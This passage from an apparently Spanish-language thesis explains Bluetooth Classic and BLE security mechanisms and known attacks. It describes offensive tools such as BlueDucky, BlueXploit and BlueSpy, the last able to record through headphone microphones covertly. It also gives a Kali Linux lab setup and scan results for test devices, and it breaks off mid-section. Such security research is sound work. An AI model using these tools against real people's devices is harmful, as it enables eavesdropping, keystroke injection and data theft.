e Nivel 3: Se requiere una clave de enlace autenticada

e Nivel 4: Se requiere clave de seguridad autenticada
con conexiones seguras (ECDH P-256)

Tabla 2. Modos de seguridad Bluetooth Classic (BR/EDR) (Fuente: [38])

18



2.1.12.2. Emparejamiento

El emparejamiento o vinculacion es el proceso mediante el cual dos dispositivos
Bluetooth crean una clave secreta compartida que les permite autenticarse mutuamente y
establecer una clave de cifrado para proteger la comunicacion [39]. En este proceso, los
dispositivos intercambian informacion necesaria para derivar las claves de seguridad, las
cuales se guardan para mantener la confianza ente sesiones, lo que se conoce como
dispositivos vinculados [39]. En Bluetooth Classic (BR/EDR) existen dos formas de

realizar el emparejamiento:

e Legacy Pairing/PIN: Es el método original de emparejamiento utilizado en
versiones anteriores a Bluetooth 2.1 para establecer una conexion entre
dispositivos, el cual se basaba en la introduccion manual de un codigo PIN (de 1
a 16 bytes) por parte del usuario en ambos dispositivos [40]. A partir de este PIN,
los dispositivos generaban una clave de enlace (Link Key) compartida, que se

utilizaba para autenticar y cifrar la comunicacion [40].

e Secure Simple Pairing (SSP): Es un método de emparejamiento introducido a

partir de la version de Bluetooth 2.1, que reemplaza al Legacy Pairing/PIN [40].
El mecanismo utiliza criptografia de curva eliptica (ECDH) que genera una clave
de enlace segura sin necesidad de introducir un PIN manualmente, dicho proceso
se realiza en 4 fases:

e (1) Intercambio de claves publicas,

e (2) Autenticacion segun el método de asociacion,

e (3) Confirmacién mutua de identidad,

e (4) Generacion de la clave de enlace,

Y dependiendo de la capacidad de entrada y de salida de los dispositivos, el mecanismo
selecciona automaticamente uno de los modos de asociacion disponibles: Just Works,

Passkey Entry, Numeric Comparison o Out of Band (OOB) [40].

Métodos Descripcion

No requiere cddigo de verificacion por parte del usuario. Estd

disefiado para dispositivos que no cuentan con pantalla ni teclado,

Just Works , oy
como audifonos y sensores. No ofrece proteccion contra ataques

Man-in-the-Middle (MITM).
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El dispositivo genera y muestra un coédigo de 6 digitos que el
usuario debe ingresar manualmente en otro dispositivo, es utilizado
Passkey Entry | cominmente ente conexiones de teléfonos y laptops. Proporciona
proteccion contra ataques MITM, siempre que el codigo sea
verificado correctamente.

Ambos dispositivos muestran el mismo cdodigo de 6 digitos y el

Numeric usuario debe confirmar si los valores coinciden. Es uno de los
Comparison | métodos mas seguros y faciles de usar, si los dos dispositivos tienen
pantalla y capacidad de entrada.

Se utiliza un canal externo para intercambiar los datos de
Out of Band | autenticacion, como NFC o cédigo QR. Este tipo de método es el
(OOB) mas seguro de todos, ya que los datos criticos no se transmiten por

el canal Bluetooth, evitando ataques de interceptacion de datos.

Tabla 3. Métodos de emparejamiento- Secure Simple Pairing (SSP) (Fuente: [40])

2.1.12.3. Autenticacion

Legacy Authentication: Es una forma de autenticacién unidireccional basada en un
esquema de desafio-respuesta, en la que un dispositivo (verificador) envia un valor
aleatorio (AU_RAND) a otro dispositivo (reclamante) quien debe generar una respuesta
(SRES) usando el algoritmo E1, la clave y su direccion Bluetooth, para que finalmente el

verificador compare la respuesta para validar la autenticacion [41].

Secure Authentication: Es una forma de autenticaciéon mutua que se basa en algoritmos
h4/hS5 y criptografia ECDH P-256. En el proceso de emparejamiento, ambos dispositivos
intercambian claves publicas, generan valores aleatorios y realizan multiples validaciones
mediante funciones criptograficas como fl, {3, 5 y {6, garantizando una autenticidad de

ambas partes [41].
2.1.12.4. Cifrado

EO0 Encryption Algorithm: Es un algoritmo de cifrado utilizado en el emparejamiento
Legacy, Este algoritmo genera una secuencia pseudoaleatoria (keystream) que se
combina con los datos mediante una operacion XOR. Internamente, emplea registros de
desplazamiento de retroalimentacion lineal (LFSR) y una maquina de estados finitos para

generar la clave de sesion [42].
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AES-CCM Encryption Algorithm: Es un algoritmo de cifrado simétrico aprobado por
el grupo de estdndares FIPS (Estandar Federal de Procesamiento de la Informacién) que
combina cifrado con integridad de datos en una sola operacion. Utiliza el modo de
operacion Counter with CBC-MAC (CCM) derivando la clave mediante funciones
criptograficas como {2 (para BR/EDR) o h3 (para BLE) a partir de la clave de enlace y

valores de sesion [43].
2.1.13. Medidas de seguridad de Bluetooth Low Energy (BLE)
2.1.13.1. Modos de seguridad

En Bluetooth Low Energy (BLE), existen modos y niveles de seguridad que representan
combinaciones de atributos y requisitos de proteccion, es decir, cada servicio o solicitud
de servicio BLE puede requerir un cierto nivel de seguridad, como autenticacién o
cifrado, por lo que el dispositivo aplicara el modo y nivel de seguridad que corresponda
a los requisitos [38]. BLE define dos modos de seguridad: Modo de seguridad basado en
cifrado (Security Mode 1) y Modo de seguridad basado en firma de datos (Security Mode
2) [38].

Modo de Seguridad #1 — Basado en cifrado
Nivel Descripcion

No se aplica ningin mecanismo de seguridad, la comunicacion
1 ocurre sin autenticacion ni cifrado, exponiendo datos a posibles
ataques de interceptacion. Disefiado para servicios en pruebas.

Se establece un enlace cifrado, pero sin autenticacion previa. La clave
2 de cifrado se genera sin verificacion de identidad, siendo vulnerables
a ataques MITM.

El enlace se cifra luego de un emparejamiento que incluye
3 autenticacion, la clave de cifrado se basas en un intercambio
autenticado.

Utiliza una funcién de seguridad mejorada llamada LE Secure
Connections introducida en la versién de Bluetooth Core 4.2 que
4 utiliza criptografia eliptica ECDH (P-256) y cifrado con AES-CCM
(128 bits), ofreciendo seguridad contra ataques MIT, escucha pasiva
y ataques de repeticion.

Tabla 4. Modos de seguridad BLE - Basados en cifrado (Fuente: [38])
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Modo de Seguridad #2 — Basado en firma de datos
Nivel Descripcion

Permite la firma digital de los datos transmitidos sin autenticacion del
1 emisor, lo que protege la integridad de los datos, pero no garantiza su
privacidad ya que no tiene cifrado.

Se realiza la firma digital después de un proceso de autenticacién
exitoso entre los dispositivos, este nivel mejora la integridad y
autenticidad de los datos, aunque no los cifra, por lo que siguen
siendo vulnerables a ataques de interceptacion.

Tabla 5. Modos de seguridad BLE - Basado en firmas de datos (Fuente: [38])

2.1.13.2. Emparejamiento

En Bluetooth Low Energy (BLE) el emparejamiento estd integrado junto con la
autenticacion y el cifrado. El procedimiento es gestionado a través del Security Manager
Protocol (SMP), un componente del stack de BLE encargado de definir los algoritmos y
protocolos utilizados durante la negociacioén de seguridad, todo el proceso consta de tres

fases principales [44].
Fase 1: Feature Exchange (Intercambio de caracteristicas)

En esta fase se establecen las reglas de emparejamiento entre los dispositivos BLE, en
esta existe el dispositivo iniciador y el dispositivo receptor, en donde intercambian
paquetes SMP Pairing Request/Response que contienen pardmetros necesarios para

definir como se llevara a cabo el emparejamiento [44].

Campos/Parametros Descripcion

Determina si el dispositivo puede mostrar informacion, recibir
entrada o ambas, y se pueden clasificar en:

e DisplayOnly: El dispositivo puede mostrar nimeros o
texto, pero puede recibir entradas.

e KeyboardOnly: El dispositivo puede aceptar entradas

10 Capability de texto o numeros por parte del usuario.

e DisplayYesNo: El dispositivo permite al usuario
responder con Sf o NO.

e KeyboardDisplay: El dispositivo tiene tanto teclado
como pantalla.
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e NolnputNoOutput: El dispositivo no tiene
capacidades de entrada ni de salida.

OOB Flag (Out of Indica si existe un canal externo (ej. NFC), para intercambiar
Band) informacion.
Responder/Initiator | Indica las claves a solicitadas por el Responder/Initiator del
Key Distribution | otro par que deben ser generadas y distribuidas en la Fase-3.

Maximum key size

Define el tamano maximo de la clave de cifrado que el
dispositivo puede soportar, que esta entre 7 y 16 bytes.

AuthReq

Contiene las propiedades de seguridad solicitadas y esta
compuesto por los siguientes subcampos:

¢ Bonding Flag: Se utiliza para indicar si el dispositivo
desea vincularse (es decir, almacenar las claves para
uso posterior) o no.

e MITM: Solicita proteccion contra ataques Man-in-the-
Middle, excepto para el modelo de emparejamiento
Just Work.

e SC: Ambos dispositivos utilizardn conexion segura
como método de emparejamiento, sino es asi, se
utilizard el emparejamiento Legacy.

Tabla 6. Parametros relevantes - Fasel: Feature Exchange (BLE) (Fuente: [40])

Fase 2: Key Generation (Generacion de Claves)

La segunda fase genera las claves criptograficas que protegeran la conexion. Sin embargo,

el procedimiento vario significativamente dependiendo de si se trata del método Legacy

Pairing o LE Secure Connections:

Métodos Procedimiento
1. Seleccion de una clave temporal (Temporary Key — TK)
La Clave Temporal (TK) se genera segin el método de asociacion:
Legacy Pairing e Just Work: TK = 0 (clave por defecto, sin autenticacion).

e Passkey Entry: TK es el valor de 6 digitos ingresado.
e (OB: TK se intercambian mediante un canal externo.
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2. Intercambio de nimero aleatorios (rand)

Cada dispositivo genera un nimero aleatorio de 128 bits (randl y
randR)

3. Calculo de clave de sesion (Short Term Key — STK)

Se usa la funcién criptografica s1(TK, randR, randl) para derivar la
STK.

La STK se utiliza para cifrar conexion activa.

1. Generacion de claves ECDH
Cada dispositivo genera su propia clave publica/privada (PK, SK)
Se intercambian las claves publicas (PKa, PKb)

2. Cilculo de la clave compartida (Diffie-Hellman Key —
DHKey)

Cada dispositivo usa su clave privada y clave publica del otro para
obtener una DHKey idéntica.

LE Secure

) 3. Derivacion de claves criptograficas
Connections

Se aplican funciones estandar del protocolo SMP

e MacKey: usada para autenticacion mutua.

e LTK (Long Term Key): usada para cifrado de la

conexion.
4. Autenticacion mutua

Si se usan métodos como Numeric Comparison o Passkey Entry, se

verifica la coincidencia del valor de validacion mostrado.

Tabla 7. Proceso de generar claves BLE — Fase 2: Key Generation (Fuente: [40])

Fase 3: Key Distribution (Distribucion de claves)

Claves adicionales Descripcion

Esta clave se usa para cifrar nuevas sesiones sin repetir el

LTK (Long Term emparejamiento. En el método Secure Connections, esta clave

Ke .
y) se genera localmente y no se transmite.
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IRK (Identity Se utiliza para genera y resolver direcciones MAC aleatorias,

Resolving Key) impidiendo el rastreo del dispositivo.
CSRK. (Connection | peippite firmar paquetes en conexiones no cifradas, como
Signature . .
. notificaciones en modo broadcast.
Resolving Key)
ED;V (Eflf?ry)pted Solo se usan en Legacy Pairing para identificar la LTK en
iversifier) y .
RAND futuras reconexiones.

Tabla 8. Claves adicionales - Fase3: Key Distribution (Fuente: [40])

2.1.13.3. Autenticacion

La autenticacidn esta incorporada dentro de la Fase 2 y depende del método seleccionado

pueden ser [44]:

e Just Works: Sin validacion. No protege contra ataques MITM.

o Passkey Entry: El usuario ingresa un cédigo de 6 digitos. Proteccion contra
MITM.

e Numeric Comparison: Ambos dispositivos muestran un cddigo para que el
usuario lo confirme.

e Out of Band (OOB): Usa un canal externo para intercambio seguro de datos.
2.1.13.4. Cifrado

AES-CCM Algorithm: Al igual que Bluetooth Classic (BR/EDR), utiliza este algoritmo
para proteger la comunicacion entre dispositivos emparejados, el cifrado se activa una
vez completado el emparejamiento y se basa en una clave de sesion derivada de la LTK

y parametros aleatorios (SKD e IV) [44].

2.1.14.  Principales Vulnerabilidades del Protocolo Bluetooth

2.1.14.1. Bluejacking

Es un tipo de ataque que consiste en el envio de mensajes no solicitados a dispositivos
Bluetooth cercanos, generalmente se utiliza para enviar mensajes publicitarios o
simplemente para molestar al usuario, aunque no causa dafios directos al dispositivo
puede llegar a ser molesto, pero para los ciberdelincuentes lo utilizan para hacer que el
usuario reaccione de alguna manera o agregue un nuevo contacto a la libreta de

direcciones del dispositivo [45].
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2.1.14.2. BlueSnarfing

Es un ataque de pirateria que se utiliza que consiste en el acceso no autorizado a un
dispositivo Bluetooth, el atacante puede acceder a su lista de contactos, mensajes,
documentos, correos y extraerlo, en otros casos podria reenviar mensajes y llamadas a
otro dispositivo, esto ocurre porque Bluetooth estd encendido y configurado en modo

"detectable para otros" [46].
2.1.14.3. Bluebugging

Es un ataque avanzado que permite obtener acceso ilegal a un dispositivo Bluetooth para
ejecutar comandos o implementar otras acciones, como hacer llamadas telefonicas,
descargar o eliminar archivos, el atacante explota una falla de seguridad en el firmware
de algunos dispositivos Bluetooth més antiguos (en su mayoria aquellos que usan

Bluetooth clasico) para obtener acceso al dispositivo y sus comandos [47].
2.1.14.4. Man-in-the-Middle (MITM)

Es un ataque que consiste en interceptar la comunicacion entre dos dispositivos Bluetooth
emparejados, si los dispositivos no utilizan un cifrado fuerte, la informacion
intercambiada puede ser comprometida, su objetivo es tomar informacién personal, como
contrasefas, mensajes, archivos, documentos, u otra informacion relevante transmitida

durante el emparejamiento [48].
2.1.14.5. Bluetooth DDoS

Es un tipo de denegacion de servicio que explota vulnerabilidades en el protocolo
Bluetooth para interrumpir el funcionamiento normal de un dispositivo, este ataque se
basa en el mediante el envio masivo de solicitudes o sefiales maliciosas que saturan la
capacidad del sistema receptor, esto puede provocar fallos en la conexion, reinicios
forzados o un consumo excesivo de bateria, afectando la disponibilidad y operatividad
del sistema de los dispositivos Bluetooth [49]. Este tipo de ataques pueden ser dirigidos
desde una o multiples fuentes simultaneas lo que aumenta su impacto y dificultad de
deteccion al igual que las que se hacen a nivel de otras rede como las WLAN, ya que tiene

la misma funcionalidad técnica. [49].
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2.1.15.  Herramientas de analisis de seguridad en Bluetooth

2.1.15.1. Kali Linux

Es una distribucion de Linux de codigo abierto basada en Debian GNU/Linux,
desarrollada por Offensive Security y disefiada para realizar pruebas de penetracion,
seguridad informatica y hacking ético para profesionales o principiantes [50]. Incluye
varias herramientas de seguridad informatica preinstaladas para realizar escaneo de redes,
analisis de vulnerabilidades, explotacion de sistemas, ataques inalambricos, ingenieria

inversa, entre otros [50].

2.1.15.2. BlueZ

Es la pila oficial del protocolo Bluetooth para los sistemas operativos basados en Linux,
proporciona soporte completo y sirve como intermediario entre el hardware Bluetooth y
las aplicaciones del sistema, permite tareas como el escaneo, emparejamiento y
transferencia de datos, es compatible con Bluetooth Classic (BR/EDR) y Bluetooth Low
Energy (BLE), e incluye herramientas como hcitool, bluetoothctl y hciconfig [51].

2.1.15.3. Bluesnarfer

Es una herramienta avanzada de hackeo Bluetooth que viene incluida en la pila oficial del
protocolo Bluetooth en Linux, tiene la capacidad de conectarse silenciosamente a otro
dispositivo y emitir comandos para obtener informacion almacenada, especificamente
contactos telefonicos guardados en la agenda de un teléfono, esta herramienta fue
utilizada por primera vez en el 2003 por un grupo de investigadores en un laboratorio

tecnologico [52].

2.1.15.4. BlueDucky

Es una herramienta desarrolla en Python que permite explotar una vulnerabilidad critica
en el emparejamiento Bluetooth, su funcionamiento se basa en la ejecucion de codigo
remoto con 0 clic en dispositivos sin parches, es decir, los atacantes pueden hacerse por

alguna interfaz externa, como un teclado para inyectar comandos en el dispositivo
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objetivo sin requerir la interaccion del usuario, internamente se pueden disenar payloads

con instrucciones especificas para realizar otros ataques [53].

2.1.15.5. BlueXploit

Bluexploit es una herramienta de tipo exploit escrita en Python desefiada para explotar
vulnerabilidades en el protocolo Bluetooth, permite la inyeccion de pulsaciones de teclas
de forma remota sin requerir un proceso de emparejamiento previo, lo que facilita la
ejecucion de ataques mas avanzados [54]. Esta herramienta aprovecha las
vulnerabilidades; CVE-2023-45866 y CVE-2024-21306 las cuales permiten las
inyecciones de pulsaciones teclado, y la aceptacién automadtica de solicitudes de

emparejamiento sin la intervencion del usuario [54].

2.1.15.6. Bluesniff

Herramienta de codigo abierto disefiada en Python, que estd orientada a detectar
dispositivos Bluetooth cercanos mediante escaneo activo, utiliza comandos de Linux
como hcitool y hciconfig, para obtener informacién como la direccion MAC, el nombre
del dispositivo y su clase, es util para realizar pruebas de reconocimiento en las etapas

iniciales de un analisis de seguridad [55].

2.1.15.7. BlueSpy

BlueSpy es una herramienta de prueba de concepto (PoC) desarrollada por el equipo de
innovacién de Tarlogic Security, estd disefiada para auditar y evaluar la seguridad de
dispositivos de audio, especificamente auriculares inaldmbricos [56]. Esta herramienta
permite que un atacante pueda conectarse a un dispositivo de audio Bluetooth, activar su
microfono de forma remota y empezar a grabar audio sin el consentimiento de usuario,
también permite la reproduccion indebida de audio en un dispositivo y la interrupcion de

la sefial [56].

2.1.15.8. Bluetooth-DoS-attack-script

Es un script de codigo abierto escrito en Python disponible en GitHub que ejecuta un

ataque de denegacion de servicio (DoS) sobre dispositivos con Bluetooth Classic
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(BR/EDR), usa otras herramientas comunes en Linux como 12ping y hcitool, el script
envia una gran cantidad de solicitudes consecutivas a un dispositivo objetivo, lo que
provoca un reinicio o fallo temporal en el dispositivo si no gestiona correctamente dichas

conexiones [57].
2.1.15.9. Awesome Bluetooth Security (BR, EDR, LE, and Mesh)

Es un repositorio de codigo abierto en GitHub que contiene una extensa lista de recursos,
herramientas, articulos, papers y bibliotecas relacionadas con la seguridad en redes
Bluetooth, su contenido estd organizado por categorias como ataques, defensas,
herramientas para BLE y BR/EDR, vulnerabilidades conocidas, y publicaciones

académicas [58].

2.2. Marco Teoérico

2.2.1. Herramientas de codigo abierto para el analisis de seguridad

informatica

El andlisis de vulnerabilidades es un proceso fundamental dentro del area de seguridad
informatica, ya que tiene como objetivo identificar, clasificar y evaluar las posibles
debilidades que tienen los sistemas, redes o dispositivos, los cuales podrian ser explotados
por terceros comprometiendo la confidencialidad de la informacion [59]. Es por esta
razoén por lo que la mayoria de las organizaciones y los usuarios individuales deberian
conocer sobre estrategias de seguridad informatica que permitan proteger y manejar de

forma Optima su informacion [59].

Sin embargo, muchas de las soluciones comerciales disponibles para realizar auditorias
informaticas requieren de licencias costosas, lo que representa un obstaculo econémico
para ciertas organizaciones o profesionales independientes [60]. El uso de herramientas
de codigo abierto es una de las alternativas mas accesibles en términos economicos para
realizar auditorias o investigaciones en el area de ciberseguridad, ya que ofrecen
soluciones rapidas y estan constantemente actualizadas por comunidades especializadas

en el area [60].

Este enfoque colaborativo permite una rapida adaptacion frente a nuevas amenazas y

vulnerabilidades, y a diferencia del software de paga, el de codigo abierto facilita el
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acceso al codigo fuente, lo que permite una revision continua por parte de investigadores
[61]. Segun diversos estudios, el uso de software de codigo abierto en ciberseguridad ha
demostrado ser eficaz para la deteccion y mitigacion de vulnerabilidades, ya que
promueve la innovacion, la interoperabilidad con otros sistemas y la mejora continua
gracias al trabajo colectivo de investigadores, desarrolladores y profesionales del area

[61].
2.2.2. Importancia del pentesting en entornos controlados

El pentesting, o pruebas de penetracion, es una técnica utilizada en ciberseguridad que
consiste en simular ataques reales a sistemas informaticos, redes o aplicaciones con el fin
de identificar vulnerabilidades antes de ser encontradas y explotadas por
ciberdelincuentes [62]. Las pruebas de penetracion se ejecutan cominmente bajo marcos
metodoldgicos estructurados como: PTES (Penetration Testing Execution Standard),
OWASP Testing Guide, OSSTMM (Open Source Security Testing Methodology
Manual) o estandares como la ISO/IEC 27001, que integran el pentesting dentro del

proceso de mejora continua de la seguridad de la informacion.[62].

Cuando estas pruebas se realizan en entornos controlados o de laboratorio, se proporciona
un espacio seguro, legal y ético para llevar a cabo técnicas ofensivas sin comprometer
sistemas reales ni violar normativas [63]. Dichos entornos permiten la replicacion de
multiples escenarios de ataque y vulnerabilidad, lo cual es esencial para validar
configuraciones, probar herramientas, analizar el comportamiento de los sistemas y

desarrollar contramedidas efectivas [63].

De acuerdo con diversas instituciones educativas y organismos de seguridad, la
simulacion de ataques en laboratorios controlados fortalece la comprension practica de
los conceptos tedricos de la ciberseguridad, fomenta el pensamiento critico y permite a
los analistas simular situaciones reales de intrusion bajo parametros éticos y técnicos

definidos [64].

2.2.3. Ingenieria social y el desconocimiento de vulnerabilidades en dispositivos
tecnologicos
En ciberseguridad, la ingenieria social representa una de las técnicas mas utilizadas por

los ciberdelincuentes para comprometer la seguridad de un sistema, a diferencia de los
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ataques que se centra en aspectos técnicos, la ingenieria social se basa en la manipulacion
psicoldgica de las personas, explotando su confianza, curiosidad o desconocimiento para
obtener informaciéon confidencial, credenciales de acceso o ejecutar acciones

perjudiciales [65].

Los atacantes aprovechan del desconocimiento tecnologico y disenan ataques que no
requieren vulnerabilidades técnicas complejas, sino que se basan en el error humano,
técnicas como el phishing, vishing o pretexting, logran obtener acceso a dispositivos y
redes, manipulando al usuario para que realice acciones como hacer clic en enlaces o

brindar informacion sensible [66].

Segtn el informe de Verizon DBIR 2023, mas del 70% de los incidentes de seguridad
involucran un error humano o una falla por desconocimiento, la ignorancia tecnologica
se convierte en una vulnerabilidad critica que los atacantes explotan mediante técnicas de
persuasion o engafio, lo que posteriormente puede escalar a consecuencias mas graves

para el usuario [67].
2.3.  Metodologia del Proyecto
2.3.1. Metodologia de la Investigacion

Este proyecto sigue una metodologia de investigacion experimental y descriptiva [68].
Descriptiva, ya que se pretende observar y documentar las condiciones actuales de la
seguridad de los dispositivos y las conexiones en este tipo de red sin intervenir
directamente en su estructura original, lo que posteriormente servira para el andlisis
técnico sobre las vulnerabilidades que se pueden identificar y que tipo de ataques aplicar.
Y experimental, porque se realizaran pruebas de seguridad en entornos controlado, esto
con el fin de simular escenarios y condiciones de riesgos necesarias para evaluar el

comportamiento de los dispositivos frente a las vulnerabilidades.

La metodologia de investigacion experimental consiste en la manipulacién intencional
de una o mas variables independientes con el objetivo de observar y analizar sus efectos
sobre una o mads variables dependientes, dentro de un entorno controlado, este enfoque
permite establecer las relaciones de causa y efecto en la que el investigador puede

controlar las condiciones del experimento para verificar hipotesis [69].

31



En cuanto a la metodologia de investigacion descriptiva, esta tiene como objetivo
observar, identificar y describir algunas caracteristicas fundamentales de un fenémeno o
situacion tal como ocurren en un entorno natural, ofreciendo un perspectiva sistematica
y precisa de los hechos de un objeto de estudio, la recopilacion de informacion de esta

metodologia permite describir patrones, comportamientos o condiciones existentes [69].
2.3.2. Técnicas e instrumentos de recoleccion de datos
Escaneo de dispositivos Bluetooth

El escaneo de dispositivos Bluetooth permite detectar equipos activos en un area
determinada y analizar su nivel de exposicion a posibles ataques. Utilizando herramientas
como hcitool, bluetootchl o la propia interfaz Bluetooth de Kali Linux, se recopilan datos
sobre la visibilidad de los dispositivos, su version de Bluetooth y nivel de seguridad. Este
proceso es clave para identificar la configuracion de dispositivos y evaluar el riesgo de

la conexion Bluetooth.
Analisis de paquetes de datos transmitidos en conexiones Bluetooth

El andlisis de paquetes de datos permite capturar y examinar la comunicacion entre
dispositivos Bluetooth para identificar vulnerabilidades en la transmision, como la falta
de cifrado o configuraciones inseguras. Utilizando herramientas como Wireshark,
bltomm o BlueZ, se pueden analizar los paquetes de control y datos intercambiados,

permitiendo detectar posibles filtraciones de informacion o ataques de intermediario

(MITM).
Simulacion de ataques y evaluacion de respuestas de seguridad

La simulacion de ataques en redes Bluetooth permite evaluar la capacidad de los
dispositivos para resistir intentos de explotacion, como ataques de fuerza bruta,
interceptacion de trafico o inyeccion de comandos. A partir de los resultados, se analizan
las respuestas de seguridad implementadas y se emiten sus respectivos reportes de

resultados.
2.3.3. Metodologia de desarrollo

Este proyecto utiliza la metodologia Penetration Testing Execution Standard (PTES)
debido a que estd especificamente disefiada para realizar pruebas de penetracion en

sistemas informaticos, la misma proporciona un marco estructurado para analizar,
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identificar y evaluar vulnerabilidades, la metodologia consta de 7 fases que describen lo

que se necesita hacer para realizar dichas pruebas [70].

Sin embargo, debido al alcance y los objetivos especificos de este estudio, asi como la
disponibilidad de recursos y tiempo, para la ejecucion de pruebas solo se tomaran como

referencias 4 fases de esta metodologia, las cuales se describen a continuacion:
Fase 1: Recopilacion de informacion

En esta primera fase, se tiene como objetivo recolectar la mayor cantidad de informacion
sobre el objetivo o sistema. Esto incluye la identificacion de direcciones MAC,
protocolos de comunicacion utilizados, y posibles filtrados o restricciones. En esta fase,
se emplean herramientas de escaneo activo y pasivo para mapear el entorno y detectar

dispositivos accesibles [70].
Fase 2: Analisis de Vulnerabilidades

En la segunda fase, una vez recopilada la informacién necesaria, se evaluan las
configuraciones de seguridad del objetivo. Se analizan aspecto como la utilizacion de
autenticacion, cifrado, mecanismo de seguridad implementados e investigacion sobre

vulnerabilidades documentadas en internet [70].
Fase 3: Explotacion

En la tercera fase, se ejecutan las pruebas de penetracion controladas para validar las
vulnerabilidades detectadas. Se realizan diversos ataques con el objetivo de determinar
hasta qué punto un atacante podria comprometer el objetivo junto con informacion

sensible [70].
Fase 4: Informe de Resultados

En la ultima fase, se documenta todos los hallazgos obtenidos durante las pruebas,
incluyendo las vulnerabilidades encontradas, los métodos utilizados, el tiempo de
ejecucion, y el impacto potencial de cada falla de seguridad. Ademas, se proponen

recomendaciones para mitigar los riesgos y fortalecer la seguridad [70].
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3. CAPITULO III. PROPUESTA

3.1. Configuracion del laboratorio de pruebas

Para el proyecto de “Analisis de vulnerabilidades en redes PAN (Redes de Area Personal)
basadas en el protocolo Bluetooth”, se optd por la configuracion de un laboratorio de
pruebas controlado, donde se utilizd una maquina virtual integrada con el sistema
operativo Kali Linux, una distribucién de Linux basada en Debian disefiada para la

seguridad informatica.

La maquina virtual fue creada con el software VirtualBox y la descarga e instalacién con
una imagen [SO de Kali Linux. Una vez completada la instalacion del sistema operativo,
se procedi6 a la clonacion, instalacion y configuracion de las herramientas necesarias para
las pruebas, las cuales serdn obtenidas desde sus respectivos repositorios oficiales en

GitHub (Anexo #1: Configuracion del laboratorio de pruebas).

El entorno de pruebas se complementoé con la seleccion de dispositivos Bluetooth reales,
para representar casos de uso comunes en redes PAN. Los dispositivos involucrados se
observan en un diagrama de red, esta configuracion fue disefiada con el objetivo de
simular un entorno doméstico, académico o de oficina, donde estas redes son utilizadas

de manera habitual.

Audifonos Teléfono
MAC: 41:42:56:01:E@:32 MAC: F4:71:5@:FAI3T:I35

QR .

g : Laptop
et = MAC: BE:F4:80:B58:06:02

Altavor ., J

I‘n. :.-
MAC: DA:5A:5AIAE:ET:15 I )B |

Magquina Atacante {Kali Linux)

MAC: PE:00:27:B@:89:4D
IP: 122.168.1.17

Figura 6. Diagrama de red PAN del laboratorio
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3.2

Fase 1: Recopilacion de informacion

El objetivo de esta fase es identificar los dispositivos Bluetooth activos en el entorno de

pruebas y obtener informacidn relevante sobre sus caracteristicas y configuraciones. Para

ello, se utilizaron herramientas especializadas de escaneo que permiten detectar

dispositivos cercanos, obtener su direccion MAC, tipo de dispositivo, servicios

disponibles, y otros pardmetros utiles para etapas posteriores del andlisis (Anexo #2:

Escaneo vy recopilacion de informacion). A continuacion, se presenta un resumen de sus

principales caracteristicas:

Dispositivo #1 [Samsung Galaxy J2 Pro]

Parametros Descripcion
Nombre del dispositivo Samsung Galaxy J2 Pro
Fabricante Samsung
Direccion MAC F4:71:90:7A:37:35
Tipo de dispositivo Teléfono
Version de Bluetooth Bluetooth 4.2
Nombre del Servicio Clase de Servicio ID(s) Protocolo Canal/PSM
Sin nombre Generic Attribute
L2CAP, ATT PSM: 31
(0x1801) ’
Sin nombre Generic Access
L2CAP, ATT PSM: 31
(0x1800) ’
AV Remote Control AV Remote Target L2CAP, PSM: 23
Target (0x110c) AVCTP ’
. . L2CAP, .
Advanced Audio Audio Source (0x110a) AVCTP PSM: 25
Headset AQ (Oxl'l 12), L2CAP,
Headset Gateway Generic Audio RECOMM Canal: 2
(0x1203)
Handsfree AG. L2CAP,
Handsfree Gateway (0x111f), Generic RECOMM Canal: 3
Audio (0x1203)
Android Network Access | Network Access Point L2CAP, BNEP PSM: 15
Point (0x1116)
Android Network User PAN User (0x1115) L2CAP, BNEP PSM: 15
OBEX Phonebook Phonebook Access - L2CAP,
RFCOMM, Canal: 19
Access Server PSE (0x112f) OBEX
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L2CAP
M A - MA ’
SMS/MMS essagfo 1"1";’; | RFCOMM, Canal: 4
* OBEX
. L2CAP,
OBEX Object Push OBE)(;OIbIJg‘S’t) Push 1 prcomm, | cCanal: 12
X
OBEX
e Android 7.1.1: Dispositivo desactualizado, la
ultima actualizacién recibida fue en el afio 2020.
Observaciones e CVE-2020-35693: Tiene una vulnerabilidad
relaciona con Bluetooth Low Energy que puede ser
explotada.

Tabla 9. Informacion general del dispositivo Bluetooth #1

Dispositivo #2 [Altavoz Bluetooth LG — PH(15)]

Parametros Descripcion
Nombre del dispositivo LG PHI1(15)
Fabricante LG Electronics
Direccion MAC 9A:5A:5A:A6:67:15
Tipo de dispositivo Altavoz
Version de Bluetooth Bluetooth 4.1
Nombre del Servicio Clase de Servicio ID(s) Protocolo Canal/PSM
Handsfre‘e (Ox1 1 le), L2CAP,
HandsFree Generic Audio RECOMM Canal 1
(0x1203)
Headset'(Oxl 198), L2CAP,
Headset Generic Audio RECOMM Canal 3
(0x1203)
. s L2CAP,
A2DP Sink Audio Sink (0x110b) AVDTP PSM 25
AV Remote (0x110e), L2CAP,
AVRCP CT AV Remote Controller PSM 23
AVDTP
(0x110f)
AV Remote Target L2CAP,
AVRCP TG PSM 23
(0x110c¢) AVDTP
) e Fabricante del chip Bluetooth: WuXi Vimicro
Observaciones L, . .
e Microfono integrado: Para recibir llamadas.

Tabla 10. Informacion general del dispositivo Bluetooth #2
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Dispositivo #3 [Audifonos Inalambricos - F9]

Parametro Descripcion
Nombre del dispositivo F9
Fabricante Bluetrum Technology Co., Ltd
Direccion MAC 41:42:56:01:E0:32
Tipo de dispositivo Audifonos Inalambricos
Version de Bluetooth Bluetooth 5.0

Nombre del Servicio Clase de Servicio ID(s) Protocolo Canal/PSM
Handsfree (0x111e),

Handsfree Generic Audio RII;2CCO?\EI)1’\/I Canal: 2
(0x1203)
Observaciones e Microéfono integrado: Para recibir llamadas.

Tabla 11. Informacion general del dispositivo Bluetooth #3

3.3. Fase 2: Analisis de Vulnerabilidades

En esta fase se lleva a cabo el reconocimiento a detalle de las vulnerabilidades o posibles
amenazas que pueden afectar a los dispositivos que utilizan la tecnologia Bluetooth. El
objetivo principal es identificar, clasificar y describir las vulnerabilidades presentes o que
estén relacionadas a los dispositivos que fueron seleccionados para realizar las pruebas

de penetracion.

El analisis se realiza a partir de la informacion recopilada en la fase anterior, incluyendo
ademas las vulnerabilidades reportadas publicamente en bases de datos reconocidas como
Common Vulnerabilities and Exposures (CVE), también se complementa con el uso de
herramientas para detectar y evaluar posibles fallos de seguridad en los dispositivos. A

continuacion, se muestra los detalles de esta fase:

Vulnerabilidades y Exposiciones Comunes - CVE

Emparejamiento silencioso BLE en dispositivos Samsung

